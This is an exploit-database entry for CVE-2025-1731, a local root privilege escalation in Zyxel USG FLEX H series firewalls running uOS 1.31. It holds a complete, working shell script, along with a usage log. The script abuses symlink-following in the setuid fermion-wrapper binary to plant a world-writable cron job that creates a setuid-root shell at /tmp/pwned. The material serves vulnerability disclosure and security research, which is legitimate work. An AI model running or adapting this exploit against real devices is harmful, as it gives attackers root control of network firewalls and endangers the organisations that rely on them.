Zyxel USG FLEX H series uOS 1.31 - Privilege Escalation

# Exploit Title: Zyxel USG FLEX H series uOS 1.31 - Privilege Escalation 
# Date: 2025-04-23
# Exploit Author: Marco Ivaldi
# Vendor Homepage: https://www.zyxel.com/
# Version: Zyxel uOS V1.31 (see
https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-=
=3D
advisory-for-incorrect-permission-assignment-and-improper-privilege-managem=
=3D
ent-vulnerabilities-in-usg-flex-h-series-firewalls-04-22-2025)
# Tested on: Zyxel FLEX100H with Firmware V1.31(ABXF.0) and Zyxel
FLEX200H with Firmware V1.31(ABWV.0)
# CVE: CVE-2025-1731

#!/bin/sh

#
# raptor_fermion - Zyxel fermion-wrapper root LPE exploit
# Copyright (c) 2025 Marco Ivaldi <[email protected]>
#
# "So we wait, this is our labour... we wait." 
#               -- Anthony Swofford on fuzzing
#
# The setuid root binary program `/usr/sbin/fermion-wrapper` distributed by 
# Zyxel with some of their appliances follows symbolic links in the `/tmp` 
# directory when run with the `register-status` argument. This allows local 
# users with access to a Linux OS shell to trick the program into creating 
# writable files at arbitrary locations in the filesystem. This vulnerability 
# can be exploited to overwrite arbitrary files or locally escalate privileges
# from low-privileged user (e.g., `postgres`) to root.
#
# Note: the `/tmp` directory doesn't have the sticky bit set, which simplifies
# exploitation of this vulnerability and may also cause all sorts of havoc.
#
# ## Vulnerability information
#
# * CVE ID - CVE-2025-1731
# * High - 7.8 - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
# * CWE-61 - https://cwe.mitre.org/data/definitions/61.html
#
# ## Relevant links
#
# * https://github.com/hnsecurity/vulns/blob/main/HNS-2025-10-zyxel-fermion.txt
# * https://security.humanativaspa.it/local-privilege-escalation-on-zyxel-usg-flex-h-series-cve-2025-1731
# * https://0xdeadc0de.xyz/blog/cve-2025-1731_cve-2025-1732
# * https://security.humanativaspa.it/tag/zyxel/
#
# ## Usage example
#
# ```
# $ ./raptor_fermion
# raptor_fermion - Zyxel fermion-wrapper root LPE exploit
# Copyright (c) 2025 Marco Ivaldi <[email protected]>
# 
# [*] Exploiting /usr/sbin/fermion-wrapper
# $ uname -a
# Linux FLEX100H-HackerHood 4.14.207-10.3.7.0-2 #5 SMP PREEMPT Thu Jan 9 04:34:58 UTC 2025 aarch64 GNU/Linux
# $ id
# uid=502(postgres) gid=502(postgres) groups=502(postgres)
# $ ls -l /usr/sbin/fermion-wrapper
# -rwsr-xr-x 1 root root 44288 Jan  9 05:34 /usr/sbin/fermion-wrapper
# {"status": 0, "registered": 1, "nebula_registered": 1, "bundle": 1}
# 
# [+] Everything looks good \o/, wait an hour and check /tmp/pwned
# $ ls -l /etc/cron.d/runme
# -rw-rw-rw- 1 root postgres 79 Feb 14 15:52 /etc/cron.d/runme
# $ cat /etc/cron.d/runme
# * * * * *   cp /bin/sh /tmp/pwned; chmod 4755 /tmp/pwned; rm /etc/cron.d/runme
# 
# [+] Run the shell as follows to bypass bash checks: /tmp/pwned -p
#
# [about one hour later...]
# 
# $ ls -l /tmp/pwned
# -rwsr-xr-x 1 root root 916608 Feb 14 16:25 /tmp/pwned
# $ /tmp/pwned -p
# # id
# uid=502(postgres) gid=502(postgres) euid=0(root) groups=502(postgres)
# # R00t D4nc3!!!111! \o/
# ```
#
# ## Tested on
#
# * Zyxel FLEX100H with Firmware V1.31(ABXF.0) | 2025-01-09 04:35:47
# * Zyxel FLEX200H with Firmware V1.31(ABWV.0) | 2025-01-09 05:11:31
#
# *Note: other products and firmware versions may also be vulnerable.*
#
# ## Special thanks
#
# * Alessandro Sgreccia (@rainpwn) of HackerHood for his research and devices
#

echo "raptor_fermion - Zyxel fermion-wrapper root LPE exploit"
echo "Copyright (c) 2025 Marco Ivaldi <[email protected]>"
echo

target="/usr/sbin/fermion-wrapper"
tmpfile="/tmp/register_status"
runme="/etc/cron.d/runme"
shell="/tmp/pwned"

echo "[*] Exploiting $target"
echo "$ uname -a"
uname -a
echo "$ id"
id
echo "$ ls -l $target"
ls -l $target

umask 0
rm $tmpfile
ln -s $runme /tmp/register_status
$target register-status
echo "* * * * *   cp /bin/sh $shell; chmod 4755 $shell; rm $runme" > $runme

if [ "`cat $runme 2>/dev/null`" = "" ]; then
	echo "[!] Error: something went wrong ¯\\_(ツ)_/¯"
	exit 1
fi

echo
echo "[+] Everything looks good \\o/, wait an hour and check $shell"
echo "$ ls -l $runme"
ls -l $runme
echo "$ cat $runme"
cat $runme

echo
echo "[+] Run the shell as follows to bypass bash checks: $shell -p"
echo